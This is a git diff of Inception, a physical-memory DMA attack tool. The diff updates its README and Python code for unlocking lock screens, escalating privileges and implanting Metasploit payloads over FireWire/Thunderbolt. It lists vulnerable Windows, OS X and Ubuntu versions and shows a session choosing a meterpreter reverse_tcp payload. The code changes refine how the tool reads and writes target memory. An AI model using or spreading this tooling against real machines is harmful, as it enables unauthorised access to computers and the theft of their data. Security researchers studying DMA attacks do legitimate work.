diff --git a/README.md b/README.md index 5fc6c52..c5d5cfd 100644 --- a/README.md +++ b/README.md @@ -3,15 +3,15 @@ INCEPTION Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC -Card and any other PCI/PCIe interfaces. +Card and any other PCI/PCIe HW interfaces. -Inception aims to provide a relatively quick, stable and easy way of performing +Inception aims to provide a *relatively* quick, stable and easy way of performing intrusive and non-intrusive memory hacks against live computers using DMA. ### How it works Inception’s modules work as follows: By presenting a Serial Bus Protocol 2 -(SBP-2) unit directory to the victim machine over the IEEE1394 FireWire +(SBP-2) unit directory to the victim machine over a IEEE1394 FireWire interface, the victim operating system thinks that a SBP-2 device has connected to the FireWire port. Since SBP-2 devices utilize Direct Memory Access (DMA) for fast, large bulk data transfers (e.g., FireWire hard drives and digital @@ -31,12 +31,31 @@ An analogy for this operation is planting an idea into the memory of the machine; the idea that every password is correct. In other words, the equivalent of a [memory inception] [1]. +Inception is free as in beer and a side project of mine. + ### Awesome! But why? The world's forensics experts, governments and three-letter acronym agencies -are using [similar tools] [2] already, so why not? Inception is free, as in -beer. A professional equivalent tool will set you back ~10 000 USD. Hack back! +are using [similar tools] [2] already. So if you are a dissident or facing +an opressive regime, this tool illustrates why OPSEC is important. Never +leave your laptop out of sight. + + +### Caveats + +[OS X > 10.7.2] [6] and [Windows > 8.1] [7] disables FireWire DMA when the +user has locked the OS and thus prevents inception. The tool will still work +while a user is logged on. However, this is a less probable attack scenario IRL. + +In addition, [OS X Mavericks > 10.8.2 on Ivy Bridge (>= 2012 Macs)] [8] have +enabled VT-D, effectively blocking DMA requests and thwarting all inception +modules even when the user is logged in.Look for `vtd[0] fault` entries in +your log/console. + +Even though these two caveats gradually will reduce the number of scenarios +where this tool is useful, as of March 2015 [70 % of machines out there are +still vulnerable] [9]. Key data @@ -60,10 +79,16 @@ Inception requires: * Hardware: * Attacker machine: Linux or Mac OS X (host / attacker machine) with a - FireWire or Thunderbolt interface, or an ExpressCard/PCMCIA expansion port. - Linux is currently recommended due to buggy firewire interfaces on OS X + FireWire interface, either through a native FireWire port, an + ExpressCard/PCMCIA expansion port or a Thunderbolt to FireWire adapter. * Victim machine: A FireWire or Thunderbolt interface, or an ExpressCard/PCMCIA expansion port + +Linux is currently recommended on the attacker side due to buggy firewire +interfaces on OS X. Note that direct ThunderBolt to ThunderBolt does *not* +work, you need a FireWire adapter. Your mileage may very when attempting +to use Thunderbolt on Linux. + * Software: * Python 3 * git @@ -133,10 +158,6 @@ For detailed options on usage, run: incept [module name] -h -Note: Mavericks since 10.8.2 on Ivy Bridge (>= 2012 Macs) have enabled VT-D -effectively blocking DMA requests and thwarting almost all modules. Look -for `vtd[0] fault` entries in your log/console. - ### Unlock @@ -156,7 +177,7 @@ systems: |OS |Version |Unlock lock screen|Escalate privileges| |:------------|:--------------|:----------------:|:-----------------:| -|Windows 8 |8.1 | Yes | Yes | +|Windows 8 |8.1 | Yes (1) | Yes (1) | |Windows 8 |8.0 | Yes | Yes | |Windows 7 |SP1 | Yes | Yes | |Windows 7 |SP0 | Yes | Yes | @@ -168,11 +189,11 @@ systems: |Windows XP |SP1 | | | |Windows XP |SP0 | | | |Mac OS X |Mavericks | Yes (1) | Yes (1) | -|Mac OS X |Mountain Lion | Yes (2) | Yes (2) | -|Mac OS X |Lion | Yes (2) | Yes (2) | +|Mac OS X |Mountain Lion | Yes (1) | Yes (1) | +|Mac OS X |Lion | Yes (1) | Yes (1) | |Mac OS X |Snow Leopard | Yes | Yes | |Mac OS X |Leopard | | | -|Ubuntu (3) |Saucy | Yes | Yes | +|Ubuntu |Saucy | Yes | Yes | |Ubuntu |Raring | Yes | Yes | |Ubuntu |Quantal | Yes | Yes | |Ubuntu |Precise | Yes | Yes | @@ -182,13 +203,10 @@ systems: |Linux Mint |12 | Yes | Yes | |Linux Mint |12 | Yes | Yes | -(1): Mavericks since 10.8.2 on Ivy Bridge (>= 2012 Macs) have enabled VT-D - effectively blocking DMA requests and thwarting this attack. Look for - `vtd[0] fault` entries in your log/console. -(2): If FileVault 2 is enabled, the tool will only work when the operating - system is unlocked as of OS X Lion. -(2): Other Linux distributions that use PAM-based authentication may also work - using the Ubuntu signatures. +(1): See caveats above. + +Other Linux distributions that use PAM-based authentication may also work +using the Ubuntu signatures. The module also effectively enables escalation of privileges, for instance via the `runas` or `sudo -s` commands, respectively. @@ -229,14 +247,13 @@ To unlock, simply type: ### Implant -The `implant` module implants a (potentially memory-only) Metasploit payload +The `implant` module implants a (memory-only) Metasploit payload directly to the volatile memory of the target machine. It integrates with MSF through the `msfrpcd` daemon that is included in all versions of Metasploit. The current version only work as a proof-of-concept against Windows 7 SP1 x86. No other OSes, versions or architectures are supported, nor is there any -guarantee that they will be supported in the future. If you want to change -this, send me a wad of cash in unmarked dollar bills or a pull request. +guarantee that they will be supported in the future. #### Execution @@ -282,9 +299,7 @@ Then, in another terminal, we launch Inception: [?] Will potentially write to file. OK? [y/N] y [!] This module currently only work as a proof-of-concept against Windows 7 SP1 x86. No other OSes, versions or architectures are supported, nor is there - any guarantee that they will be supported in the future. If you want to - change this, send me a wad of cash in unmarked dollar bills or a pull - request on github. + any guarantee that they will be supported in the future. [?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp [*] Selected options: [*] LPORT: 4444 @@ -351,7 +366,7 @@ attacking host. Known bugs / caveats -------------------- -Please see the [tool home page] [5]. +Please see the comments at the top and the [tool home page] [5]. Troubleshooting @@ -418,4 +433,7 @@ request. [3]: http://freddie.witherden.org/tools/libforensic1394/ [4]: http://mxcl.github.io/homebrew/ [5]: http://www.breaknenter.org/projects/inception/ - +[6]: http://support.apple.com/en-us/HT202348 +[7]: http://www.microsoft.com/en-us/download/details.aspx?id=41671 +[8]: https://www.youtube.com/watch?v=0FoVmBOdbhg +[9]: http://www.w3schools.com/browsers/browsers_os.asp diff --git a/inception/cfg.py b/inception/cfg.py index b34fa7b..5743c56 100644 --- a/inception/cfg.py +++ b/inception/cfg.py @@ -57,7 +57,7 @@ #============================================================================== # Options (i.e. these are the defaults, but may be overridden at invocation) #============================================================================== -delay = 5 # 2 seconds delay before attacking +delay = 3 # Seconds delay before attacking startaddress = 0 # Default memory start address #============================================================================== diff --git a/inception/interfaces/file.py b/inception/interfaces/file.py index c22e224..7da76ec 100644 --- a/inception/interfaces/file.py +++ b/inception/interfaces/file.py @@ -47,7 +47,7 @@ def initialize(opts, module): raise InceptionException('No such file: \'{0}\''.format(opts.filename)) # Warn user that using the interface may write to file - try: # TODO: Fix this more elegantly + try: # TODO: Fix this more elegantly? dry_run = opts.dry_run except AttributeError: dry_run = False diff --git a/inception/interfaces/firewire.py b/inception/interfaces/firewire.py index 5e63730..57b3d35 100644 --- a/inception/interfaces/firewire.py +++ b/inception/interfaces/firewire.py @@ -70,9 +70,14 @@ def initialize(opts, module): starttime = time.time() device_index = fw.select_device() elapsed = int(time.time() - starttime) + + try: # TODO: Fix this more elegantly + dry_run = opts.dry_run + except AttributeError: + dry_run = False # Lower DMA shield, and set memsize - device = fw.getdevice(device_index, elapsed) + device = FireWireDevice(fw.getdevice(device_index, elapsed), dry_run) memsize = cfg.memsize return device, memsize @@ -98,6 +103,7 @@ def unload_fw_ip(): class FireWire: ''' FireWire wrapper class to handle some attack-specific functions + TODO: Rename FireWireInterface ''' def __init__(self, delay): @@ -294,3 +300,44 @@ def vendors(self): The list of vendors ''' return self._vendors + +class FireWireDevice: + ''' + Device wrapper class that handles the more finicky + parts of reading memory. The device will return + zeroes or simply not write to memory if the tool + attempts to access memory regions that are protected + ''' + def __init__(self, dev, dry_run): + ''' + Constructor + ''' + self.avoid = [0xa0000, 0xfffff] # Windows + self._dev = dev + self.dry_run = dry_run + + def read(self, addr, numb, buf=None): + if self.avoid[0] <= addr <= self.avoid[1]: + return b'\x00' * numb + else: + return self._dev.read(addr, numb, buf) + + def readv(self, req): + # This will increase performance since we don't + # have to check all elements in the list + if self.avoid[0] <= req[0][0] <= self.avoid[1] or self.avoid[0] <= req[-1][0] <= self.avoid[1]: + for r in req: + if self.avoid[0] <= r[0] <= self.avoid[1]: + yield (r[0], b'\x00' * r[1]) + else: + yield (r[0], self._dev.read(r[0], r[1])) + else: + for r in self._dev.readv(req): + yield r + + def write(self, addr, buf): + if not self.dry_run and not (self.avoid[0] <= addr <= self.avoid[1]): + self._dev.write(addr, buf) + + def close(self): + self._dev.close() diff --git a/inception/memory.py b/inception/memory.py index 953a72c..9a455e7 100644 --- a/inception/memory.py +++ b/inception/memory.py @@ -219,12 +219,13 @@ def match(self, candidate, chunks): return False return True - def patch(self, address, chunks): + def patch(self, address, signature): ''' Writes to the device at address, using the patches in the signature chunks ''' - backup = self.interface.read(address, cfg.PAGESIZE) + backup = self.interface.read(address, signature.length) + chunks = signature.chunks for c in chunks: if not c.patch: # If no patch is set, skip this chunk continue diff --git a/inception/modules/dump.py b/inception/modules/dump.py index 91a79a6..692807f 100644 --- a/inception/modules/dump.py +++ b/inception/modules/dump.py @@ -144,12 +144,6 @@ def run(opts, memspace): else: requestsize = cfg.max_request_size try: - # Fill the first MB and avoid reading from that region - if not opts.filename: - fillsize = cfg.startaddress - start - data = b'\x00' * fillsize - file.write(data) - start = cfg.startaddress for i in range(start, end, requestsize): # Edge case, make sure that we don't read beyond the end if i + requestsize > end: diff --git a/inception/modules/unlock.py b/inception/modules/unlock.py index bd9599a..3f9d7a1 100644 --- a/inception/modules/unlock.py +++ b/inception/modules/unlock.py @@ -611,7 +611,7 @@ def run(opts, memspace): raise InceptionException(e) backup = memspace.write(address, payload) else: - backup = memspace.patch(address, signature.chunks) + backup = memspace.patch(address, signature) term.info('Patch verified; successful') except InceptionException: raise @@ -620,7 +620,7 @@ def run(opts, memspace): term.poll('Press [enter] to revert the patch:') memspace.write(address, backup) - if backup == memspace.read(address, cfg.PAGESIZE): + if backup == memspace.read(address, signature.length): term.info('Reverted patch verified; successful') else: raise InceptionException('Reverted patch could not be '